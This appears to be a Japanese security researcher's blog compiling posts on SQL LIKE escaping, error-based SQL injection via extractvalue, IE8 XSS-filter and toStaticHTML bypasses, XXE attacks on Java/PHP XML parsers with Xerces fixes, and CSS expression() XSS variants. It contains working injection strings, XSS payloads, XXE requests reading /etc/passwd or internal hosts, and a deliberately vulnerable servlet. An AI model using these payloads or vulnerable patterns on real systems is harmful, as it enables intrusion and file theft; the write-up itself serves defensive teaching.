SQLのlike演算子でエスケープが必要な文字

まとめると以下のようになると思います。

Oracle % _ %(全角)_(全角)
DB2 % _ %(全角)_(全角)
MS SQL Server % _ [
MySQL % _
PostgreSQL % _

注意点は以下のとおり。

  • DB2Oracleは、「%」「_」(全角)もワイルドカードとして解釈する
  • SQL Serverは、[a-z]のような正規表現的な記述を解釈する
  • 当然、ワイルドカード的な機能を持たせたい「%」や「_」等はエスケープしない
  • 全データベース共通の話として、エスケープ文字自体もエスケープする必要がある(MySQL、Postgresでは「\」がデフォルトのエスケープ文字)
  • likeのエスケープをした後に、Prepared Statementで値をSQLにバインドする

(関連)2008-07-10 - T.Teradaの日記

MySQLのエラーメッセージ

MySQL環境において、BlindではないSQLインジェクションがあるときに(SQLエラーメッセージが応答に含まれるときに)、欲しいデータをエラーメッセージから得る方法。

mysql> select extractvalue('<a/>',concat('/$',version()));
ERROR 1105 (HY000): XPATH syntax error: '$5.1.36-log'

こんな感じで使います。

?vuln_var='-extractvalue('<a/>',concat('/$',version()))-'

おそらく、MySQL5.1以上で動きます。

金床さんの本(ウェブアプリケーションセキュリティ)には、同じことをload_file関数を使ってやる方法が載ってますが、FILE権限が必要ですし、ちょっと前からその方法自体が使えなくなってます。

(参考)MySQL Bugs: #10418: LOAD_FILE does not behave like in manual if file does not exist

ところで、Oracleも同じように、XPATH構文が不正な場合、エラーメッセージにそのXPATH構文を出力します。

SQL> select extractvalue(xmltype('<a/>'),'/$'||user) from dual;
select extractvalue(xmltype('<a/>'),'/$'||user) from dual
                                                     *
行1でエラーが発生しました。:
ORA-31011: XML解析に失敗しました
ORA-19202: XML処理
LPX-00601: Invalid token in: '/$testuser1'中にエラーが発生しました

最近出た本(SQL Injection Attacks and Defense)によると、Oracle11gは、utl_inaddrなどのネットワーク系のパッケージをデフォルトで使用できなくしているようです。この本には、11g環境において、エラーメッセージをコントロールするための方法がいくつか載っています。

IE8のXSSフィルタが裏目に出る例

IE8のXSSフィルタは、WebアプリにXSS脆弱性があったとしても、それが発動する可能性を減らしてくれるものです。

しかし、そのXSSフィルタが裏目に出るようなこともあります。

例えば、以下のような静的なHTMLファイル(test.html)を作ってWebサーバにおきます。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>
u=u.replace(/&/g,'&amp;').replace(/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

上のページは静的なページで、DOM Based XSS脆弱性もありません。ですが、被害者のユーザがIE8を使っている場合には、このページを使ったXSS攻撃を成功させることができます。

攻撃用のURLは、以下のとおりです。

test.html?%26amp;').replace(<img/src='_'onerror=alert(1)>

このURLにアクセスすると、XSSフィルタは攻撃を検知(誤検知)して、HTMLの一部を書き換えます。実際にレンダリングされるのは以下のHTMLです。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>      ↓《XSSフィルタが書き換えた行》
u=u.replace(/&/g,'&amp;'#.replace#/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

IE8のXSSフィルタにより、HTMLエスケープをしている2つ目のscriptタグの中が壊されてしまいます。そのため、3つ目のscriptタグ内のdocument.write()の箇所が、XSS(DOM Based XSS脆弱性を持つようになってしまいます。

上の例のように、XSSフィルタは攻撃されたと推測した箇所のHTMLを書き換えてしまいます。そのため、攻撃を誤検知すると、その箇所を書き換えてしまい、ページの作者が意図したとおりに表示や動作しなくなることがあります。

(参考)
はてなブックマーク - <script type="text/javascript"> - Bing

通常は、誤検知したとしても、一部の表示がおかしくなったり、ボタンが動かなくなったりする程度だと思います。

しかし、意図的に誤検知を生じさせて、特定の機能を動作させないようにすることも、場合によっては可能です。上の例では、セキュリティ機能(HTMLエスケープしている箇所)が無効になるように誤検知を起こさせることで、XSSを成功させています。

ただし、上の例のページは、IE8のXSSフィルタの挙動を意識した、非常に恣意的なHTMLです。実際のWebページで、この例のようにXSSフィルタを誤検知させてXSSさせる攻撃が成功することは、まず無いだろうと思います。

ところで、XSSフィルタは、単一のリクエストとレスポンスを見るだけでXSSしているかを判定しています。誤検知は原理的に避けがたいと言えます。XSSフィルタの作者が、この種の危険性を認識しつつもXSSフィルタを導入したのか(あるいはそうではないのか)、ちょっと興味があります。

IE8のtoStaticHTML関数

以前の日記で、IE8β2のtoStaticHTML関数にバグがあると書きました。

そのバグについては、発見したときにMSに報告しました。その後、特に「直した」という連絡はありませんが、IE8の正式版では修正されていました。

β2にあったバグのPOCは、以下のようなものです。

<body>
<div id="foo"></div>
<script>
var tmp="<img style=\"color:expression(alert('; width:x'))\">";
document.getElementById('foo').innerHTML = toStaticHTML(tmp);
</script>
</body>

ポイントは、alertのちょっとうしろに入れたセミコロンです。β2では、セミコロンが含まれていると、そこで1つの宣言が終わると解釈していました。かなり荒っぽい解釈です。

IE8正式版で上記のHTMLを表示すると、style属性の中身はざっくり空っぽにされます。つまり何らかの対策がされたということだと思います。

そのほかのパターンも試して見ましたが、CSSに関しては非常に大胆な処理がされます。具体的にいうと、括弧がCSSに含まれていると、それだけではじいてしまいます。

ですので、以下のHTMLはJavaScriptを含んでいないのにも関わらず、toStaticHTMLを通りません。

<b style="background-image: url('http://...');">111</b>

<b style="font-family: 'foo(';">111</b>

括弧「(」は、「&#x28;」や「\0028」や「\&#x32;8」にしても、とにかく通してくれません。他にも「\26#x28;」などいろいろな手を使ってみましたが、文字参照まわりは割とまじめに正規化するようになっているため、「(」を入れることができません。なお、括弧が駄目なのは、style属性だけでなくstyleタグも同じです。

攻撃を防ぐためにはこれでよいのでしょうけども、実用上の観点でいうと「(」が使えないのは困ることがあると思います。

その他にも気になることがいくつかあります。

■入力A
<style>ul > li {color:red;}</style>

■出力A  (HTMLエンコードされる)
<style>
ul &gt; li
{color:red;}
</style>
---------------------------------------------------
■入力B
<style>li {font-family:'xxx\27\7Dyyy';}</style>

■出力B  (CSSの「\」エンコードがデコードされる)
<style>
li
{font-family:'xxx'}yyy';}
</style>
---------------------------------------------------
■入力C
<style>li {font-family:'xxx\yyy';}</style>

■出力C  (なぜかNULL文字が出てくる)
<style>
li
{font-family:'xxx&#0;yyy';}
</style>

上のBはXSSまであと一歩という感じですが、結局括弧が入らないために、どうにもなりません。

ただし方向性を少し変えると、うまいことXSSできる場合があります。また、一定の条件がそろえば、XSSできるような軽微な問題も残っています(いずれも互換モードの場合のみ)。CSS周りは、たいていのXSSフィルタにとって最大の鬼門ですが、toStaticHTMLも例外ではないようです。

XMLをparseするアプリのセキュリティ

XML」「セキュリティ」という単語でWeb検索すると、多くヒットするのはXMLデジタル署名やXML暗号などを説明したWebページです。

本日の日記では、それとはちょっと違うテーマ(XXEと呼ばれる攻撃)について書きます。

脆弱なコードと攻撃方法

さっそく脆弱性があるサンプルプログラムです。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class Test1 extends HttpServlet {
    public void service(HttpServletRequest request,
                        HttpServletResponse response)
        throws ServletException, IOException {

        try {
            DOMParser parser = new DOMParser();
            parser.parse(new InputSource(request.getInputStream()));

            Document doc = parser.getDocument();
            String data1 = doc.getElementsByTagName("data1")
                .item(0).getTextContent();
            String data2 = doc.getElementsByTagName("data2")
                .item(0).getTextContent();

            response.setContentType("text/xml; charset=UTF-8");
            PrintWriter out = response.getWriter();
            out.println("<result>" + x(data1 + data2) + "</result>");
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static String x(String s) {
        s = s.replaceAll("&", "&amp;");
        s = s.replaceAll("<", "&lt;");
        return s;
    }
}

見ての通り、JavaServletプログラムです。

リクエストボディーのXMLをparseして、data1要素とdata2要素の中身の文字列を結合して、XMLをレスポンスする単純な処理をしています。

たとえば、このプログラムに、以下のようなXMLリクエストを与えます。

■リクエストA
<?xml version="1.0"?>
<str><data1>xxx</data1><data2>yyy</data2></str>

それに対して、以下のようなレスポンスが返ります。

■レスポンスA
<result>xxxyyy</result>

ある意味で何の変哲もないプログラムですが、このプログラムにはセキュリティ上の問題があります。

たとえば、以下のような文書型宣言と外部実体参照を含むXMLを送ります。

■リクエストB
<?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<str><data1>&pass;</data1><data2></data2></str>

それに対して、以下のようなレスポンスが返ります。

■レスポンスB
<result>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
(省略)
</result>

サーバ上の/etc/passwdファイルの中身が、レスポンスに出力されてしまいました。

このような現象は、Javaだけで起こるものではありません。下のプログラムは、さきほどのJavaプログラムと同様の処理をするPHPのプログラムです。

<?php
header('Content-Type: text/xml');

$doc = new DOMDocument();
$doc->loadXML(file_get_contents('php://input'));
$data1 = $doc->getElementsByTagName('data1')->item(0)->textContent;
$data2 = $doc->getElementsByTagName('data2')->item(0)->textContent;

echo "<str>". htmlspecialchars($data1. $data2). "</str>";

上のPHPのプログラムに対して、上のリクエストBを送ると、Javaと同じようにサーバ上の/etc/passwdファイルの中身がレスポンスされます。

どのようなファイルが漏洩するか

今見たように、上のJava(あるいはPHP)のプログラムでは、サーバ上のファイルの中身が漏洩します。

しかし、サーバ上のすべてのファイルが漏洩するわけではありません。漏洩するのは、サーバアプリケーションの実行ユーザが読み取り権限を持つファイルで、かつ中身が「外部解析対象実体」(External Parsed Entity)に適合するファイルのみです。たとえば、「123&456」や「123<>456」のような内容を持つファイルは、読み取ることはできません。また、XML文書を読み取ると、そのtextContentだけが応答されます。

また、ファイルの中身を盗み出せるのは、XMLの要素の内容をアプリケーションが何らかの形で外部に送り返す場合に限られます。それでは、要素の内容を送り返さないアプリケーションは安全なのかというと、そうでもありません。ファイルの中身は盗み出せなくても、エラーメッセージや応答時間から、特定のファイルがサーバ上に存在するか/しないかの情報を外部から得られる場合があります。

それ以外の攻撃

攻撃の被害は、ファイルの中身が盗み見られるだけではありません。以下のようなXMLを送ることで、本来は外部からアクセスできない情報を盗み出すことができるかもしれません。

<?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY mysecret SYSTEM "http://internalhost/secret.txt">
]>
<str><data1>&mysecret;</data1><data2></data2></str>

同じ手法で、サーバ側の内部ネットワーク上のホストに対して、特定のポートが開いているか/閉じているかを、エラーメッセージや応答時間から調べられる場合があります。つまり、内部ネットワークのポートスキャンに利用できるわけです。

下のページには、サーバ上のファイル漏洩やポートスキャンのほかに、DoS攻撃に利用されうることなどが書かれています。

(参考)XXE (Xml eXternal Entity) Attack

このアドバイザリ(おそらく、この種の攻撃に関する最初のアドバイザリ)では、外部実体参照を利用した攻撃を、XXE(XML eXternal Entity)Attackと呼んでいます。

また、ちょっと毛色が違う攻撃として、入れ子の内部実体参照を利用したDoS攻撃があることが知られています。

(参考)http://www.utj.co.jp/xml/dev/java/dxjava_10.html

入れ子実体参照を使う手法は、昨年RubyREXMLで脆弱性が見つかったため、ご存知の方もいるかと思います。

対策

いくつかの対策方法について書きます。基本的に、Java+Xerces2環境で、DOMを使うプログラミングをすることを前提としています。

外部実体を使用禁止にする

上で紹介したXXE攻撃に関するページで、推奨されている対策です。

Suggested fix:
Most XML parsers allow their user to explicitly specify external entity handler. In case of untrusted XML input it is best to prohibit all external general entities.

XXE (Xml eXternal Entity) Attack

Xerces2では、以下のようにsetFeatureすることで、外部一般実体(External General Entity)を無効にできます。

DOMParser parser = new DOMParser();
parser.setFeature("http://xml.org/sax/features/external-general-entities", false);
…

しかし、外部実体を禁止する対策は、ファイルの存在やポートの開閉状態を調べる攻撃に対しては無力な場合があります。例えば、以下のように文書型宣言で外部のDTD(外部サブセット)を読み込むことで、ポートの開閉を調べる攻撃方法が考えられます。

<!DOCTYPE str SYSTEM "http://internalhost:1234/">

また、外部のDTDを呼び出す場合、DTD内にパラメータ実体を定義・参照する方法により、ファイルの存在などを調べることも可能です。

外部のDTDを読み込まないようにするためには、以下の設定が必要です。

parser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
DTDを使用禁止する

DTDを使用禁止にする(そのために文書型宣言を禁止する)ためには、以下のようにsetFeatureします。おそらく、これが一番確実な方法です。

DOMParser parser = new DOMParser();
parser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
…

なお、これまで紹介した対策のコードでは、DOMParserクラスのsetFeatureというメソッドを使いました。Xerces2で利用できるfeatureの一覧は、以下のページに書かれています。

(参考)Features

その他の対策方法

根本的な話として、まったく独自のXMLをやりとりするのではなく、SOAPXML-RPCにのっとった電文形式として、それ用のライブラリ(実績がありそうなもの)を用いてparseする方法もあります。

SOAPに関しては、メッセージ中に文書型宣言を含めることが仕様で禁止されています。

The XML infoset of a SOAP message MUST NOT contain a document type declaration information item.

SOAP Version 1.2 Part 1: Messaging Framework (Second Edition)

上の文章は、基本的にはメッセージの送信者を規制するものだと受け取れますが、受信者が文書型宣言を含むメッセージを受け取った時には、エラーとするのが自然だろうと思います。

実際に、JavaPHPASP.NET用のいくつかのSOAPライブラリの挙動を調べたところ、多くのライブラリは文書型宣言を受け付けないように実装されていました。

たとえば、ASP.NET環境のWebサービスに、文書型宣言を含むメッセージを送ると400(Bad Request)応答が返ります。JavaのAXISでは、500(Internal Server Error)応答が返ります。PHPPEAR::SOAPライブラリでは、文書型宣言が含まれていてもエラーにはなりませんが、外部のDTDの読み込みや、外部実体の読み込みは行われません。

一方で、XML-RPCの仕様にはDTDや外部実体に関する規定はありません。XML-RPCのライブラリを使う場合は、事前に実装を確認した方がよいと思います。

PHPの場合

PHP5のDOMを使う場合、parse時のオプション(libxmlに渡すオプション)がいくつかあります。また、DOMDocumentクラスには、処理に影響するようなプロパティが定義されています。

(参考)
PHP: 定義済み定数 - Manual
PHP: DOMDocument - Manual

外部のDTDの読み込みは、デフォルトでは無効になっており、オプションで有効にするようになっています。

外部実体については、DOMDocumentクラスにresolveExternalsというプロパティがあって、それを使うことで制御できると思ったのですが、調べてみると違う用途のものだとわかりました。他のプロパティやオプションについて、実際のプログラムで動作を確認したり、ネットで情報を調べたりもしましたが、外部実体やDTDを禁止する方法は結局判りませんでした。*1

もし、parser側に外部実体やDTDを禁止する設定がないならば、アプリケーション側で対策をせざるをえません。これは非常に厄介です。

私が思いつくのは、parseした後に、ルートノードから子ノードのnodeTypeを再帰的に調べていき、文書型宣言などのノードが含まれているかを確認する方法です。もし、排除したいタイプのノードが含まれている場合にはエラーとします。

しかしこの方法は、サーバ上のファイルの存在を外部から調べたり、内部ネットワークをポートスキャンする攻撃に対しては、完全な防御とはなりません。なぜなら、XMLをparseしてしまうと、その時点で外部実体が読み込まれるからです。

そうであれば、parseする前に、XMLのバイト列を検索して「<!DOCTYPE」などを探し出す方法も思いつきます。しかし、この方法だとUTF-7UTF-16などの文字コードを使うことでフィルタを回避できてしまいます。

もし本当に、外部実体やDTDを禁止する方法がDOM関数にないのならば、信頼しないXMLをparseするときには、DOM以外の別の種類のparserを使用する方がよいでしょう。PHPには、PHP: XML 操作 - Manualにあるように、何種類かのXML parserが用意されています。実際、先に触れたPEAR::SOAPライブラリでは、DOMではなく、昔ながらのXML parser(PHP: XML パーサ - Manual)を使用しています。

脆弱なアプリケーションはどれくらいあるのか

上で紹介した、XXE攻撃の最初のアドバイザリが書かれたのは2002年ですので、かなり昔から知られていた攻撃だといえます。しかし、XXE攻撃に関するネット上の情報(特に日本語の情報)は少ないです。この日記の冒頭に書いたように、「XML セキュリティ」のようなキーワードで検索しても、開発者向けにXXE攻撃を説明した情報はなかなか見つけられないのです。

私自身も、Webセキュリティの本(Hacking Exposed Web Applications, Second Edition: Web Application Security Secrets and Solutions)を読むまでは、XXE攻撃についてまったく知りませんでした。開発者の中にも、XMLを扱う際にセキュリティ上考慮すべき事があることを知らない人は多いのではないかと思います。

私自身の経験で言えば、XMLを取り扱うアプリケーションを検査することは少ないですが、サーバ側のファイルの内容が盗み出せたり、ファイルの存在を調べることができる問題を持つアプリケーションをいくつか見たことがあります。近年は、XMLAPIを公開したり、利用したりするサイトが増えてきているようですので、この種の脆弱性を持つアプリケーションが広く存在している可能性があります。

オープンソースPHPアプリケーションについても少し調べたところ、サーバ側のファイルの内容が盗み出せるものもありましたが、著名なソフトに関しては、それほど多くはないようです*2。実のところ、サーバ上のファイルの内容が盗み出せるかは、アプリケーションの仕様だけではなくコーディングの仕方にも依存します。

下のPHPのプログラムは、test要素のテキストを、2つの異なる方法で取り出しています。

<?php
...
$elm = $doc->getElementsByTagName('test')->item(0);

// A: 外部実体参照が展開される
$var = $elm->textContent;

// B: 外部実体参照は展開されない
$var = $elm->firstChild->nodeValue;

Aでは外部実体の中身を含む値が$varに代入されます。一方、Bでは外部実体の中身は$varに代入されません。

私が見たアプリケーションの半数以上は、Bのスタイルのコーディングがされていました*3。セキュリティを意図したものかは不明ですが、結果的にはファイルを盗み取れないようになっていました。

その他のXMLの機能

XMLで外部のファイルを読み込ませる方法は、既に説明したように、外部のDTDや外部実体を利用する方法があります。それ以外にも、XSLやXIncludeには外部のファイルを読み込む方法が用意されています。これらが問題になるケースは、外部実体よりも少ないと思いますが、使用する際には注意が必要です。

*1:きちんと調べきれてませんが、そもそもPHPのDOM関数が使っているlibxml2にそのようなオプションが存在しないのかもしれません。

*2:見つけた脆弱性IPAに届け出ています。

*3:firstChild以外も見ている丁寧なアプリケーションも当然あります。

CSSのexpression

はせがわさんの記事です。

[柔軟すぎる]IEのCSS解釈で起こるXSS (1/3):教科書に載らないWebアプリケーションセキュリティ(3) - @IT

記事中では、(5) 全角文字、(6) 特定のUnicode文字、の2つは、Windows XP SP3のIE6では動作しなくなっていると書かれていますが、うちの会社と自宅のIE6*1ではなぜかいまだに動いてます。

試したのは下のHTML。HTTPヘッダでUTF-8を指定しています。

<!-- (1) 通常の表記 -->
<p style="x:expression(alert(/1/))">1</p>

<!-- (5) 全角文字 -->
<p style="x:exp[0xEF][0xBD][0x92]ession(alert(/5-1/))">5-1</p>
<p style="x:exp&#xFF52;ession(alert(/5-2/))">5-2</p>

<!-- (6) 特定のUnicode文字 -->
<p style="x:exp[0xCA][0x80]ession(alert(/6-1/))">6-1</p>
<p style="x:exp&#x0280;ession(alert(/6-2/))">6-2</p>
<p style="x:exp\0280 ession(alert(/6-3/))">6-3</p>

これをIE6で表示すると、全てalertが動きます。

Windows Updateしてればいいんだと思っていたんですが、それだけじゃダメなんでしょうかね。それとも、何かの設定を自分で変えてしまったのか…。

(6)特定のUnicode文字

<div style="left:expRessioN( alert('xss') )">
(R は U+0280、N は U+0274 または U+207F が利用可能)

私が知っているのを1つ付け加えると、U+026Aは「i」と解釈されます。

<p style="x:express&#x026A;on(alert(/6-4/))">6-4</p>

*1:OSはXP SP3。IEのバージョン表記は、6.0.2900.5512.xpsp_sp3_gdr.090206-1234